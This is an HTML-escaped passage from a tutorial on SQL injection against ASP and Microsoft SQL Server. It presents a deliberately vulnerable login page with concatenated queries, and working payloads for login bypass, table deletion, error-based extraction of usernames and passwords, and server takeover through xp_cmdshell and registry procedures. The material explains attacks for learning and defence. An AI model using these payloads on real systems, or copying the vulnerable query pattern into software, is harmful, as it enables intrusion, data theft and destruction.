&lt;P align=left&gt;&lt;EM&gt;{ &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;rso.close(); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;%&amp;gt; &lt;/EM&gt;&lt;/FONT&gt;&lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;FONT Face='tahoma' color='cc0000'&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;H1&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;BR&amp;gt;&amp;lt;BR&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;CENTER&amp;gt;ACCESS DENIED&amp;lt;/CENTER&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;/H1&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;/BODY&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;/HTML&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;% &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;Response.end &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;return; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;} &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;else &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;{ &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;Session("username") = "" + rso("username"); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;%&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;FONT Face='tahoma' color='00cc00'&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;H1&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;CENTER&amp;gt;ACCESS GRANTED&amp;lt;BR&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;BR&amp;gt; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;Welcome, &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;&amp;lt;% Response.write(rso("Username")); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;Response.write( "&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;" ); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;Response.end &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;} &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;} &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;function Main() &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;{ &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;//Set up connection &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;var username &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;var cn = Server.createobject( "ADODB.Connection" ); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;cn.connectiontimeout = 20; &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;cn.open( "localserver", "sa", "password" ); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;username = new String( Request.form("username") ); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;if( username.length &amp;gt; 0) &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;{ &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;Login( cn ); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;} &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;cn.close(); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;} &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;Main(); &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;%&amp;gt; &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;The critical point here is the part of 'process_login.asp' which creates the 'query string' : &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; &lt;/EM&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P align=left&gt;If the user specifies the following: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: '; drop table users-- &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;Password: &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;..the 'users' table will be deleted, denying access to the application for all users. The '--' character sequence is the 'single line comment' sequence in Transact-SQL, and the ';' character denotes the end of one query and the beginning of another. The '--' at the end of the username field is required in order for this particular query to terminate without error. &lt;/P&gt;
&lt;P align=left&gt;The attacker could log on as any user, given that they know the users name, using the following input: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: admin'-- &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;The attacker could log in as the first user in the 'users' table, with the following input: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: ' or 1=1-- &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;…and, strangely, the attacker can log in as an entirely fictional user with the following input: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: ' union select 1, 'fictional_user', 'some_password', 1-- &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P&gt;The reason this works is that the application believes that the 'constant' row that the attacker specified was part of the recordset retrieved from the database. &lt;/P&gt;&lt;/FONT&gt;
&lt;P&gt;&lt;STRONG&gt;Obtaining Information Using Error Messages&lt;/STRONG&gt;&lt;/P&gt;
&lt;P align=left&gt;This technique was first discovered by David Litchfield and the author in the course of a penetration test; David later wrote a paper on the technique [1], and subsequent authors have referenced this work. This explanation discusses the mechanisms underlying the 'error message' technique, enabling the reader to fully understand it, and potentially originate variations of their own. &lt;/P&gt;
&lt;P align=left&gt;In order to manipulate the data in the database, the attacker will have to determine the structure of certain databases and tables. For example, our 'users' table might have been created with the following command: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;create table users( id int, &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;username varchar(255), &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;password varchar(255), &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;privs int &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;) &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;&lt;EM&gt;..and had the following users inserted: &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;insert into users values( 0, 'admin', 'r00tr0x!', 0xffff ) &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;insert into users values( 0, 'guest', 'guest', 0x0000 ) &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;insert into users values( 0, 'chris', 'password', 0x00ff ) &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;insert into users values( 0, 'fred', 'sesame', 0x00ff ) &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;Let's say our attacker wants to insert a user account for himself. Without knowing the structure of the 'users' table, he is unlikely to be successful. Even if he gets lucky, the significance of the 'privs' field is unclear. The attacker might insert a '1', and give himself a low - privileged account in the application, when what he was after was administrative access. &lt;/P&gt;
&lt;P align=left&gt;Fortunately for the attacker, if error messages are returned from the application (the default ASP behaviour) the attacker can determine the entire structure of the database, and read any value that can be read by the account the ASP application is using to connect to the SQL Server. &lt;/P&gt;
&lt;P align=left&gt;(The following examples use the supplied sample database and .asp scripts to illustrate how these techniques work.) &lt;/P&gt;
&lt;P align=left&gt;First, the attacker wants to establish the names of the tables that the query operates on, and the names of the fields. To do this, the attacker uses the 'having' clause of the 'select' statement: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: ' having 1=1-- &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;This provokes the following error: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14' &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;/process_login.asp, line 35 &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;So the attacker now knows the table name and column name of the first column in the query. They can continue through the columns by introducing each field into a 'group by' clause, as follows: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: ' group by users.id having 1=1-- &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;&lt;EM&gt;(which produces the error…) &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14' &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;/process_login.asp, line 35 &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;Eventually the attacker arrives at the following 'username': &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;' group by users.id, users.username, users.password, users.privs having 1=1-- &lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;… which produces no error, and is functionally equivalent to: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;select * from users where username = '' &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;So the attacker now knows that the query is referencing only the 'users' table, and is using the columns 'id, username, password, privs', in that order. &lt;/P&gt;
&lt;P align=left&gt;It would be useful if he could determine the types of each column. This can be achieved using a 'type conversion' error message, like this: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: ' union select sum(username) from users-- &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;This takes advantage of the fact that SQL server attempts to apply the 'sum' clause before determining whether the number of fields in the two rowsets is equal. Attempting to calculate the 'sum' of a textual field results in this message: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument. &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;/process_login.asp, line 35 &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;..which tells us that the 'username' field has type 'varchar'. If, on the other hand, we attempt to calculate the sum() of a numeric type, we get an error message telling us that the number of fields in the two rowsets don't match: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: ' union select sum(id) from users-- &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14' &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists. &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;/process_login.asp, line 35 &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;We can use this technique to approximately determine the type of any column of any table in the database. &lt;/P&gt;
&lt;P align=left&gt;This allows the attacker to create a well - formed 'insert' query, like this: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )-- &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;However, the potential of the technique doesn't stop there. The attacker can take &lt;/P&gt;
&lt;P align=left&gt;advantage of any error message that reveals information about the environment, or the database. A list of the format strings for standard error messages can be obtained by running: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;select * from master..sysmessages &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;Examining this list reveals some interesting messages. &lt;/P&gt;
&lt;P align=left&gt;One especially useful message relates to type conversion. If you attempt to convert a string into an integer, the full contents of the string are returned in the error message. In our sample login page, for example, the following 'username' will return the specific version of SQL server, and the server operating system it is running on: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: ' union select @@version,1,1,1-- &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int. &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;/process_login.asp, line 35 &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;This attempts to convert the built-in '@@version' constant into an integer because the first column in the 'users' table is an integer. &lt;/P&gt;
&lt;P align=left&gt;This technique can be used to read any value in any table in the database. Since the attacker is interested in usernames and passwords, they are likely to read the usernames from the 'users' table, like this: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: ' union select min(username),1,1,1 from users where username &amp;gt; 'a'-- &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;This selects the minimum username that is greater than 'a', and attempts to convert it to an integer: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int. &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;/process_login.asp, line 35 &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;So the attacker now knows that the 'admin' account exists. He can now iterate through the rows in the table by substituting each new username he discovers into the 'where' clause: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: ' union select min(username),1,1,1 from users where username &amp;gt; 'admin'-- &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'chris' to a column of data type int. &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;/process_login.asp, line 35 &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;Once the attacker has determined the usernames, he can start gathering passwords: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: ' union select password,1,1,1 from users where username = 'admin'-- &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int. &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;/process_login.asp, line 35 &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;A more elegant technique is to concatenate all of the usernames and passwords into a single string, and then attempt to convert it to an integer. This illustrates another point; Transact-SQL statements can be string together on the same line without altering their meaning. The following script will concatenate the values: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;begin declare @ret varchar(8000) &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;set @ret=':' &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;select @ret=@ret+' '+username+'/'+password from users where username&amp;gt;@ret &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;select @ret as ret into foo &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;end &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;The attacker 'logs in' with this 'username' (all on one line, obviously…) &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username&amp;gt;@ret select @ret as ret into foo end--&lt;/EM&gt; &lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;This creates a table 'foo', which contains the single column 'ret', and puts our string into it. Normally even a low-privileged user will be able to create a table in a sample database, or the temporary database. &lt;/P&gt;
&lt;P align=left&gt;The attacker then selects the string from the table, as before: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: ' union select ret,1,1,1 from foo-- &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e07' &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int. &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;&lt;EM&gt;/process_login.asp, line 35 &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;And then drops (deletes) the table, to tidy up: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=2&gt;
&lt;P align=left&gt;&lt;EM&gt;Username: '; drop table foo-- &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P&gt;These examples are barely scratching the surface of the flexibility of this technique. Needless to say, if the attacker can obtain rich error information from the database, their job is infinitely easier. &lt;/P&gt;&lt;/FONT&gt;
&lt;P&gt;&lt;STRONG&gt;Leveraging Further Access &lt;/STRONG&gt;&lt;/P&gt;
&lt;P align=left&gt;Once an attacker has control of the database, they are likely to want to use that access to obtain further control over the network. This can be achieved in a number of ways: &lt;/P&gt;
&lt;P align=left&gt;1. Using the xp_cmdshell extended stored procedure to run commands as the SQL server user, on the database server &lt;/P&gt;
&lt;P align=left&gt;2. Using the xp_regread extended stored procedure to read registry keys, potentially including the SAM (if SQL Server is running as the local system account) &lt;/P&gt;
&lt;P align=left&gt;3. Use other extended stored procedures to influence the server &lt;/P&gt;
&lt;P align=left&gt;4. Run queries on linked servers &lt;/P&gt;
&lt;P align=left&gt;5. Creating custom extended stored procedures to run exploit code from within the SQL Server process &lt;/P&gt;
&lt;P align=left&gt;6. Use the 'bulk insert' statement to read any file on the server &lt;/P&gt;
&lt;P align=left&gt;7. Use bcp to create arbitrary text files on the server &lt;/P&gt;
&lt;P align=left&gt;8. Using the sp_OACreate, sp_OAMethod and sp_OAGetProperty system stored procedures to create Ole Automation (ActiveX) applications that can do everything an ASP script can do &lt;/P&gt;
&lt;P&gt;These are just a few of the more common attack scenarios; it is quite possible that an attacker will be able to come up with others. We present these techniques as a collection of relatively obvious SQL Server attacks, in order to show just what is possible, given the ability to inject SQL. We will deal with each of the above points in turn. &lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;xp_cmdshell&lt;/STRONG&gt;&lt;/P&gt;
&lt;P align=left&gt;Extended stored procedures are essentially compiled Dynamic Link Libraries (DLLs) that use a SQL Server specific calling convention to run exported functions. They allow SQL Server applications to have access to the full power of C/C++, and are an extremely useful feature. A number of extended stored procedures are built in to SQL Server, and perform various functions such as sending email and interacting with the registry. &lt;/P&gt;
&lt;P align=left&gt;xp_cmdshell is a built-in extended stored procedure that allows the execution of arbitrary command lines. For example: &lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;exec master..xp_cmdshell 'dir' &lt;/EM&gt;&lt;/P&gt;
&lt;P align=left&gt;will obtain a directory listing of the current working directory of the SQL Server process, and &lt;/P&gt;
&lt;P align=left&gt;&lt;EM&gt;exec master..xp_cmdshell 'net1 user' &lt;/EM&gt;&lt;/P&gt;
&lt;P&gt;will provide a list of all users on the machine. Since SQL server is normally running as either the local 'system' account, or a 'domain user' account, an attacker can do a great deal of harm. &lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;xp_regread&lt;/STRONG&gt;&lt;/P&gt;
&lt;P align=left&gt;Another helpful set of built in extended stored procedures are the xp_regXXX functions, &lt;/P&gt;
&lt;P align=left&gt;xp_regaddmultistring &lt;/P&gt;
&lt;P align=left&gt;xp_regdeletekey &lt;/P&gt;
&lt;P align=left&gt;xp_regdeletevalue &lt;/P&gt;
&lt;P align=left&gt;xp_regenumkeys &lt;/P&gt;
&lt;P align=left&gt;xp_regenumvalues &lt;/P&gt;
&lt;P align=left&gt;xp_regread &lt;/P&gt;
&lt;P align=left&gt;xp_regremovemultistring &lt;/P&gt;
&lt;P align=left&gt;xp_regwrite &lt;/P&gt;
&lt;P align=left&gt;Example uses of some of these functions: &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=3&gt;
&lt;P align=left&gt;&lt;EM&gt;exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares' &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;(this determines what null-session shares are available on the server) &lt;/P&gt;&lt;/FONT&gt;&lt;FONT face="KKAHIA+CourierNewPSMT,Courier New PSMT" size=3&gt;
&lt;P align=left&gt;&lt;EM&gt;exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities' &lt;/EM&gt;&lt;/P&gt;&lt;/FONT&gt;
&lt;P align=left&gt;(this will reveal all of the SNMP communities configured on the server. With this information, an attacker can probably reconfigure network appliances in the same area of the network, since SNMP communities tend to be infrequently changed, and shared among many hosts) &lt;/P&gt;
&lt;P&gt;It is easy to imagine how an attacker might use these functions to read the SAM, change the configuration of a system service so that it starts next time the machine is rebooted, or run an arbitrary command the next time anyone logs on to the server. &lt;/P&gt;
&lt;P&gt;&lt;STRONG&gt;Other Extended Stored Procedures &lt;/STRONG&gt;&lt;/P&gt;
&lt;P align=left&gt;The xp_servicecontrol procedure allows a user to start, stop, pause and 'continue'&amp;nbsp;&amp;nbsp;services: &lt;/P&gt;
&lt;P align=left&gt;exec master..xp_servicecontrol 'start', 'schedule' &lt;/P&gt;
&lt;P align=left&gt;exec master..xp_servicecontrol 'start', 'server' &lt;/P&gt;
&lt;P&gt;&lt;/FONT&gt;
&lt;TABLE class="" style="WIDTH: 497px; HEIGHT: 403px" cellSpacing=0 cellPadding=7 width=497 border=1&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD class="" vAlign=top width="50%" height=39&gt;
&lt;P align=left&gt;Here is a table of a few other useful extended stored procedures: &lt;/P&gt;
&lt;P align=left&gt;xp_availablemedia &lt;/FONT&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD class="" vAlign=top width="50%" height=39&gt;
&lt;P align=left&gt;reveals the available drives on the machine. &lt;/FONT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class="" vAlign=top width="50%" height=21&gt;
&lt;P align=left&gt;xp_dirtree &lt;/FONT&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD class="" vAlign=top width="50%" height=21&gt;
&lt;P align=left&gt;allows a directory tree to be obtained &lt;/FONT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class="" vAlign=top width="50%" height=39&gt;
&lt;P align=left&gt;xp_enumdsn &lt;/FONT&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD class="" vAlign=top width="50%" height=39&gt;
&lt;P align=left&gt;enumerates ODBC data sources on the server &lt;/FONT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class="" vAlign=top width="50%" height=39&gt;
&lt;P align=left&gt;xp_loginconfig &lt;/FONT&gt;&lt;/P&gt;&lt;/TD&gt;
&lt;TD class="" vAlign=top width="50%" height=39&gt;
&lt;P align=left&gt;reveals information about the security mode of the server. &lt;/FONT&gt;&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;
&lt;TR&gt;
&lt;TD class="" vAlign=top width="50%" height=57&gt;
&lt;P align=left&gt;xp_makecab &lt;/FONT&gt;&lt;/P&gt;&lt;/TD&gt;
